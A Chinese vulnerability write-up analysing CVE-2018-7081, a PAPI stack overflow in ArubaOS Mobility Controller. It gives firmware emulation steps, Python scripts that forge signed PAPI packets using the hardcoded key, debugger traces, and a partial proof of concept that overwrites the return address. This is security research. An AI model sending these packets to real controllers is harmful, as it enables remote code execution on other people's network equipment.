ArubaOS网络监听组件 Mobility Controller RCE 漏洞分析(CVE-2018-7081) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

ArubaOS网络监听组件 Mobility Controller RCE 漏洞分析(CVE-2018-7081)

h1apwn 新闻 2019-09-24 11:20:23
334869
收藏

导语:本文将描述漏洞挖掘和分析调试写出漏洞验证代码的过程。 这篇文章会从基础部分开始,所以如果你熟悉基本概念,只需跳转到构建PoC代码的部分。

CVE-2018-7081是网络监听组件中存在的一个内存破坏漏洞,它可以导致程序流程被劫持,从而达到远程命令执行。要查看受影响的所有版本,请查看Aruba Networks官方报告。本文将描述漏洞挖掘和分析调试写出漏洞验证代码的过程。

这篇文章会从基础部分开始,所以如果你熟悉基本概念,只需跳转到构建PoC代码的部分。

0x01提取固件&模拟执行

第一步是从固件中提取二进制文件,这可以通过binwalk轻松完成:

 binwalk -e -M ArubaOS_MAS_7.4.1.9_62608

现在就可以使用二进制文件了。我们在研究中遵循的方法是仅模拟所需的最小二进制文件,而不是整个固件。只使用少量二进制文件可以减少分析整个固件带来的麻烦。

我们的重点是可以远程利用漏洞。没有比RCE更让人激动的事情了。Aruba设备使用很少的协议用于通信,这是PAPI通信中最有趣的部分。

看一下这个二进制文件:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  find . -iname msgHandler
 ./mswitch/bin/msgHandler
 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  file ./mswitch/bin/msgHandler 
 ./mswitch/bin/msgHandler: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.9, stripped

使用MIPS大端模式,因此需要搭建正确的环境来模拟运行二进制文件并对其进行调试。

 # Move to cpio-root folder before :)
 
 sudo apt-get install "libc6-mips*" 
 sudo apt-get install qemu qemu-user qemu-user-static gdb-multiarch 'binfmt*'
 sudo mkdir /etc/qemu-binfmt
 sudo ln -s /usr/mips-linux-gnu /etc/qemu-binfmt/mips
 sudo apt-get install binutils debootstrap
 cp `whereis qemu-mips-static | cut -d" " -f2` .

怎么运行二进制文件?

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -h
 usage: msgHandler [-d] [-n]
 -d = enable debug prints.
 -n = disable md5 signatures.
 -g = disable garbling.

现在我们需要知道该服务是如何启动的,使用了什么样的参数。在2016年的帖子中,用于运行服务的参数存在于nanny_list文件中,因此检查一下这个文件:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  grep msgHandler ./mswitch/bin/nanny_list 
 RUN_ALL RESTART /mswitch/bin/msgHandler -g

运行试试:

  sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g

好像是不行,可以使用“-g”作为参数执行二进制文件,因此问题与模拟执行无关:二进制文件确实执行了但它会提前退出。QEMU为我们提供了-strace选项来查看二进制文件所有的系统调用,因此我们可以使用它来查看它是自然地退出还是出现了错误而退出:

  psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
 12762 uname(0x76fff268) = 0
 12762 brk(NULL) = 0x10001000
 (...)
 11373 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = -1 errno=2 (No such file or directory)
 11373 exit_group(1)

此二进制文件尝试打开文件,但文件不存在就会失败。我们将创建所请求的文件,并查看是否会成功执行:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  mkdir ./var && mkdir ./var/log && touch ./var/log/msgHandler.log
 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
 14703 uname(0x76fff268) = 0
 14703 brk(NULL) = 0x10001000
 (...)
 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
 (...)
 14703 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = 7
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14703 getpid() = 14703
 14703 fstat(7,0x76fff208) = 0
 14703 write(7,0x76fff2c0,73) = 73
 14703 exit_group(1)

确实执行成功了,如果仔细观察,我们可以看到下面的3个文件消失了:

 (...)
 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory)
 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory)
 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory)
 (...)

创建文件并重复执行:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  touch ./flash/papik_prev && touch ./flash/papienhsec && touch ./tmp/msgh_debug
 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g      
 (...)
 17433 stat("/flash/papik_prev",0x76fff370) = 0
 17433 stat("/flash/papienhsec",0x76fff1e8) = 0
 17433 stat("/flash/papik",0x76fff298) = -1 errno=2 (No such file or directory)
 (...)

继续重复

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  touch ./flash/papik
 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
 (...)
 19190 stat("/tmp/.sock",0x76fff450) = -1 errno=2 (No such file or directory)
 (...)

one more try

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  mkdir ./tmp/.sock
 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static --strace  ./mswitch/bin/msgHandler -g
 19693 uname(0x76fff268) = 0
 (...)
 20709 gettimeofday(1996486360,0,1996485904,240,0,0) = 0
 20709 _newselect(8,[7,6,5,4,],[],[],{60,0})

确实执行了,我们的PAPI数据包处理程序已启动并开始运行。这个二进制文件将处理传入的PAPI消息并将它们转发到ArubaOS内的其他服务上,因此可以尝试运行另一种使用此类消息的服务(只需遍历nanny_list直到找到)。

尝试运行rfm二进制文件:

 sudo chroot . ./qemu-mips-static  ./mswitch/bin/rfm

0x02与内部服务通信

为了构建基本的PAPI消息,可以使用Sven Blumenstein在其帖子中提供的脚本。经过一些反复试验后,构建了一条基本的PAPI消息:

 # Aruba test
 # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
 
 import sys, socket, hashlib
 
 host = sys.argv[1]
 port = int(sys.argv[2])
 
 def aruba_encrypt(s):
     return ''.join([chr(ord(c) ^ 0x93) for c in s])
 
 
 # Packet:
 
 header = "\x49\x72" # Magic Header for PAPI message
 header += "\x00\x01" # Protocol Version
 header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
 header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
 header += "DD" # Unkwown 1
 header += "DD" # Unkwown 2
 header += "\x20\x20" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
 header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
 header += "\x00\x04" #unknown 3
 header += "EE" #unknown 4
 header += "\x00\x01" # Sequence number
 header += "\x36\xb1" # PAPI Message Code
 checksum = "\x00" * 16  # Empty Checksum
 padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 payload = (  # show configuration; does not matter I Just copied it from the post.
             '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
             '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
             '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
             '\x74\x69\x6f\x6e\x0a'
           )
 packet = checksum + padding + payload
 m = hashlib.md5()
 m.update(header + packet)
 key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
 m.update(key)
 checksum = m.digest()
 
 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 client.sendto(header + checksum + padding + payload, (host, port))

可以看到msgHandler是如何正确解析数据包并转发到8224端口中的服务的,此时我们只想伪造有效数据包):

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|
 ⇒  sudo chroot . ./qemu-mips-static  ./mswitch/bin/msgHandler -g -d
 
 
 Resetting SIZE = 28
 received a message on remote:MHSockFd
 Inside else statement
 MsgCode:14001
 Got external packet getting into HandleRxPacket
 IP address ::ffff:7f00:1:57091
 ::ffff:7f00:1:df03 ae14
 Inside switch stat
 LOC:Inside msgh_validate_pkt 1
 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
 Sending to unix socket: port number 8224
 Read 1 packets

现在就可以创建消息了,而不是再转发到ArubaOS的内部服务中,可以再次使用strace检查哪些端口正在打开RFM二进制文件:

 psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root|                  
 ⇒  sudo chroot . ./qemu-mips-static  --strace ./mswitch/bin/rfm         
 6101 uname(0x76fff298) = 0                                        
 (...)
 6101 unlink("/tmp/.sock/8409.sock") = 0
 6101 bind(4,1996485896,110,0,0,0) = 0
 (...)
 6101 unlink("/tmp/.sock/9409.sock") = 0
 6101 bind(5,1996485896,110,0,0,0) = 0
 (...)

rfm正在使用端口8409和9409,编辑脚本看看PAPI消息是否正确转发了:

 # Aruba test - forward packet to RFM service
 # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
 
 import sys, socket, hashlib
 
 host = sys.argv[1]
 port = int(sys.argv[2])
 
 def aruba_encrypt(s):
     return ''.join([chr(ord(c) ^ 0x93) for c in s])
 
 
 # Packet:
 
 header = "\x49\x72" # Magic Header for PAPI message
 header += "\x00\x01" # Protocol Version
 header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
 header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
 header += "DD" # Unkwown 1
 header += "DD" # Unkwown 2
 header += "\x20\xd9" # Destination port for PAPI message (20d9 == 8409--> RFM service)
 header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
 header += "\x00\x04" #unknown 3
 header += "EE" #unknown 4
 header += "\x00\x01" # Sequence number
 header += "\x36\xb1" # PAPI Message Code
 checksum = "\x00" * 16  # Empty Checksum
 padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 payload = (  # show configuration
             '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
             '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
             '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
             '\x74\x69\x6f\x6e\x0a'
           )
 packet = checksum + padding + payload
 m = hashlib.md5()
 m.update(header + packet)
 key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
 m.update(key)
 checksum = m.digest()
 
 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 client.sendto(header + checksum + padding + payload, (host, port))

确实转发了

 # At msgHandler:
 Resetting SIZE = 28
 received a message on remote:MHSockFd
 Inside else statement
 MsgCode:14001
 Got external packet getting into HandleRxPacket
 IP address ::ffff:7f00:1:44869
 ::ffff:7f00:1:af45 b481
 Inside switch stat
 LOC:Inside msgh_validate_pkt 1
 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1]
 Sending to unix socket: port number 8409
 PapiSrc  :::8444 PapiDest :::8409
 StackSrc ::ffff:7f00:1:44869 StackDst ::1:8409
 PktType  0x0004(BWR) Seq:1 pktLen=193
 Read 1 packets
 
 # At rfm:
 (...)
 14436 clock_gettime(1,1996486352,268464832,0,0,0) = 0
 14436 recvfrom(4,268508736,41000,64,1996486104,1996486144) = 193
 14436 brk(0x10047000) = 0x10047000
 14436 time(268591104,268508384,1,268508388,0,0) = 1543484545
 14436 time(1996485520,1979813083,1,0,0,0) = 1543484545
 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
 14436 getpid() = 14436
 14436 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 6
 14436 fcntl64(6,F_SETFD,1) = 0
 14436 connect(6,0x76065954,16) = -1 errno=2 (No such file or directory)
 (...)

现在就可以伪造有效的PAPI消息,这些消息将发送到目标服务(rfm)上。此模板可用作Fuzzing此服务的种子,只需动态分析一下,就会发现漏洞。

0x03拿到Crash

运行二进制文件,附加调试器,处理PAPI包的函数是executeAMAPIMethodWithVec:

 [0x76141a10]> pd 30 @ sym.executeAMAPIMethodWithVec
 / (fcn) sym.executeAMAPIMethodWithVec 1780
 |   sym.executeAMAPIMethodWithVec (int arg2);
 |           ; var int local_10h @ sp+0x10
 |           ; var int local_14h @ sp+0x14
 |           ; var int local_18h @ sp+0x18
 |           ; var int local_20h @ sp+0x20
 |           ; var int local_b8h @ sp+0xb8
 |           ; var int local_bch @ sp+0xbc
 |           ; arg int arg2 @ a1
 |           0x0040b1b8      3c1c0fc0       lui gp, 0xfc0
 |           0x0040b1bc      279cced8       addiu gp, gp, -0x3128
 |           0x0040b1c0      0399e021       addu gp, gp, t9
 |           0x0040b1c4      27bdff40       addiu sp, sp, -0xc0
 |           0x0040b1c8      afbf00bc       sw ra, 0xbc(sp)
 |           0x0040b1cc      afbe00b8       sw fp, 0xb8(sp)
 |           0x0040b1d0      03a0f021       move fp, sp
 |           0x0040b1d4      afbc0020       sw gp, 0x20(sp)
 |           0x0040b1d8      afc400c0       sw a0, 0xc0(fp)
 |           0x0040b1dc      afc500c4       sw a1, 0xc4(fp)
 |           0x0040b1e0      afc600c8       sw a2, 0xc8(fp)
 |           0x0040b1e4      afc700cc       sw a3, 0xcc(fp)
 |           0x0040b1e8      24020001       addiu v0, zero, 1
 |           0x0040b1ec      afc20028       sw v0, 0x28(fp)
 |           0x0040b1f0      8fc200c4       lw v0, 0xc4(fp)
 |           0x0040b1f4      afc200a4       sw v0, 0xa4(fp)
 |           0x0040b1f8      8fc200a4       lw v0, 0xa4(fp)
 |           0x0040b1fc      2442004c       addiu v0, v0, 0x4c
 |           0x0040b200      afc200a8       sw v0, 0xa8(fp)
 |           0x0040b204      27c20050       addiu v0, fp, 0x50
 |           0x0040b208      00402021       move a0, v0
 |           0x0040b20c      8fc500a4       lw a1, 0xa4(fp)
 |           0x0040b210      2406004c       addiu a2, zero, 0x4c
 |           0x0040b214      8f9981e8       lw t9, -sym.imp.memcpy(gp)  ; [0x10000278:4]=0x415e30 sym.imp.memcpy
 |           0x0040b218      00000000       nop
 |           0x0040b21c      0320f809       jalr t9

现在来看一下memcpy,使用gdb(sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm)和另一个shell下的gdb(gdb-multiarch ./mswitch/bin/rfm)运行QEMU 。在gdb内部,运行target remote localhost:1234以附加到进程并开始调试。将断点打在0x0040b214(调用memcpy的地方)。

 Breakpoint 3, 0x0040b214 in executeAMAPIMethodWithVec ()
 (gdb) i r
           zero       at       v0       v1       a0       a1       a2       a3
  R0   00000000 764c8394 76fff4c8 000036b1 76fff4c8 10011e40 0000004c 76fff594 
             t0       t1       t2       t3       t4       t5       t6       t7
  R8   764c83a8 00000000 00000000 00000000 00000062 00000000 00000000 0000002b 
             s0       s1       s2       s3       s4       s5       s6       s7
  R16  10011e40 10000430 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 
             t8       t9       k0       k1       gp       sp       s8       ra
  R24  0000001d 0040b1b8 00000000 00000000 10008090 76fff478 76fff478 0040b908 
             sr       lo       hi      bad    cause       pc
       20000010 0000016f 00000003 00000000 00000000 0040b214 
            fsr      fir
       00000000 00739300 
 (gdb) x/5wx $a1
 0x10011e40:     0x49720001      0xc0a80101      0x7f000001      0x0000bcfa
 0x10011e50:     0x20d920fc

数据包的0x4c字节被复制到一个内存缓冲区,复制的内存末尾与在数据包中填充的部分相对应:

 (gdb) x/wx $a1+0x4c
 0x10011e8c:     0x00000000

如果执行另一个memcpy(在sxdr_read_str内),使用该值的一部分作为sizer(寄存器$ a2):

 Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so                                                   
 (gdb) i r                    
           zero       at       v0       v1       a0       a1       a2       a3                                           
  R0   00000000 764c8394 00000000 00000000 76fff4a8 10011e8f 00000000 10011e8c                                           
             t0       t1       t2       t3       t4       t5       t6       t7                                           
  R8   00000000 609943e5 f88d93f1 00000000 00000000 00000000 00000000 00000000                                           
             s0       s1       s2       s3       s4       s5       s6       s7                                           
  R16  00000000 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0                                           
             t8       t9       k0       k1       gp       sp       s8       ra                                           
  R24  0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244                                           
             sr       lo       hi      bad    cause       pc                                                             
       20000010 0000016f 00000003 00000000 00000000 76141a08                                                             
            fsr      fir      
       00000000 00739300

修改python脚本中的值:

 # Aruba test
 # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
 
 import sys, socket, hashlib
 
 host = sys.argv[1]
 port = int(sys.argv[2])
 
 def aruba_encrypt(s):
     return ''.join([chr(ord(c) ^ 0x93) for c in s])
 
 
 # Packet:
 
 header = "\x49\x72" # Magic Header for PAPI message
 header += "\x00\x01" # Protocol Version
 header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
 header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
 header += "DD" # Unkwown 1
 header += "DD" # Unkwown 2
 header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
 header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
 header += "\x00\x04" #unknown 3
 header += "EE" #unknown 4
 header += "\x00\x01" # Sequence number
 header += "\x36\xb1" # PAPI Message Code
 checksum = "\x00" * 16  # Empty Checksum
 padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 payload = (  # show configuration
             '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
             '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
             '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
             '\x74\x69\x6f\x6e\x0a'
           )
 packet = checksum + padding + payload
 m = hashlib.md5()
 m.update(header + packet)
 key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
 m.update(key)
 checksum = m.digest()
 
 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 client.sendto(header + checksum + padding + payload, (host, port))

发送新的数据包,$ A2上的值是0xFFFF:

 Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so
 (gdb) i r
           zero       at       v0       v1       a0       a1       a2       a3
  R0   00000000 764c8394 000000ff 000000ff 76fff4a8 10011e8f 0000ffff 10011e8c 
             t0       t1       t2       t3       t4       t5       t6       t7
  R8   00000000 67451717 7e4642e3 00000000 00000000 00000000 00000000 00000000 
             s0       s1       s2       s3       s4       s5       s6       s7
  R16  0000ffff 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 
             t8       t9       k0       k1       gp       sp       s8       ra
  R24  0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 
             sr       lo       hi      bad    cause       pc
       20000010 0000016f 00000003 00000000 00000000 76141a08 
            fsr      fir
       00000000 00739300

继续执行aaaaa发生了Segfault!

 [1]    59357 segmentation fault  sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm

现在就有了一个由从数据包中获取的sizer引起的经典栈溢出漏洞,我们可以执行任意大小的memcpys :)

0x04劫持程序流程

现在我们有了一个栈溢出漏洞,让我们把这个bug利用起来。我们需要查找代码,其中堆栈中的值用于跳转,需要控制堆栈中的值,控制代码跳转的位置。检查0x0040b890附近代码:

 [0x0040b890]> pd 7
 |           ; CODE XREF from sym.executeAMAPIMethodWithVec (0x40b7d4)
 |           0x0040b890      8fc200b4       lw v0, 0xb4(fp)
 |           0x0040b894      03c0e821       move sp, fp
 |           0x0040b898      8fbf00bc       lw ra, 0xbc(sp)
 |           0x0040b89c      8fbe00b8       lw fp, 0xb8(sp)
 |           0x0040b8a0      27bd00c0       addiu sp, sp, 0xc0
 |           0x0040b8a4      03e00008       jr ra
 \           0x0040b8a8      00000000       nop

$ ra是一个跳转,我们可以控制$ ra,因为lw ra, 0xbc(sp)使用堆栈值设置$ ra,我们可以使用存在漏洞的memcpy覆盖堆栈上的值。

用radare2(ragg2 -P 1000 -r)生成de Bruijin的payload字符串,并发送新的PAPI数据包:

 Program received signal SIGSEGV, Segmentation fault.
 0x0040b24c in executeAMAPIMethodWithVec ()
 (gdb) i r
           zero       at       v0       v1       a0       a1       a2       a3
  R0   00000000 764c8394 41416e41 7700f4a7 7700f4a7 10021e8e 00000003 10021e8e 
             t0       t1       t2       t3       t4       t5       t6       t7
  R8   00000000 00000000 76137000 7613a594 00000001 767fe438 00000000 76141a10 
             s0       s1       s2       s3       s4       s5       s6       s7
  R16  10011e40 10000430 00000418 76557144 10011e40 10010878 76fff6d8 76fff6d0 
             t8       t9       k0       k1       gp       sp       s8       ra
  R24  000001bd 75f5fdc0 00000000 00000000 10008090 76fff478 76fff478 0040b244 
             sr       lo       hi      bad    cause       pc
       20000010 0001cf82 000001fb 41416e41 00000000 0040b24c 
            fsr      fir
       00000000 00739300 
 (gdb) x/i $pc
 => 0x40b24c <executeAMAPIMethodWithVec+148>:    sw      zero,0(v0)
 (gdb)

这里二进制文件发生了崩溃,因为$ v0保存一个无效地址(0x41416e41)。该值包含在位置115中,因此只需要将其更改为有效的内存地址:

 # 115
 payload = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAm"
 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
 # 881
 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

现在执行就不会崩溃了,跳转到了jr ra`的0x0040b8a4的地址:

 Breakpoint 8, 0x0040b8a4 in executeAMAPIMethodWithVec ()
 (gdb) x/i $ra
    0x41674141:  Cannot access memory at address 0x41674140

这样就可以对该跳转做任意控制:我们可以劫持程序跳转到我们想要的任何地方:)

0x05找一个合适的gadget

 此时的PoC如下:

 # Aruba test
 # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html
 
 import sys, socket, hashlib
 
 host = sys.argv[1]
 port = int(sys.argv[2])
 
 def aruba_encrypt(s):
     return ''.join([chr(ord(c) ^ 0x93) for c in s])
 
 
 # Packet:
 
 header = "\x49\x72" # Magic Header for PAPI message
 header += "\x00\x01" # Protocol Version
 header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1)
 header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter 
 header += "DD" # Unkwown 1
 header += "DD" # Unkwown 2
 header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this
 header += "\x20\xfc" # Source port for PAPI message (20fc == 8444)
 header += "\x00\x04" #unknown 3
 header += "EE" #unknown 4
 header += "\x00\x01" # Sequence number
 header += "\x36\xb1" # PAPI Message Code
 checksum = "\x00" * 16  # Empty Checksum
 padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 # 115
 payload = "A" * 95 # Padding 1
 payload += "B" * 4 # Address where we want to jump 
 payload += "C" * 16 # Padding 2
 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
 # 881
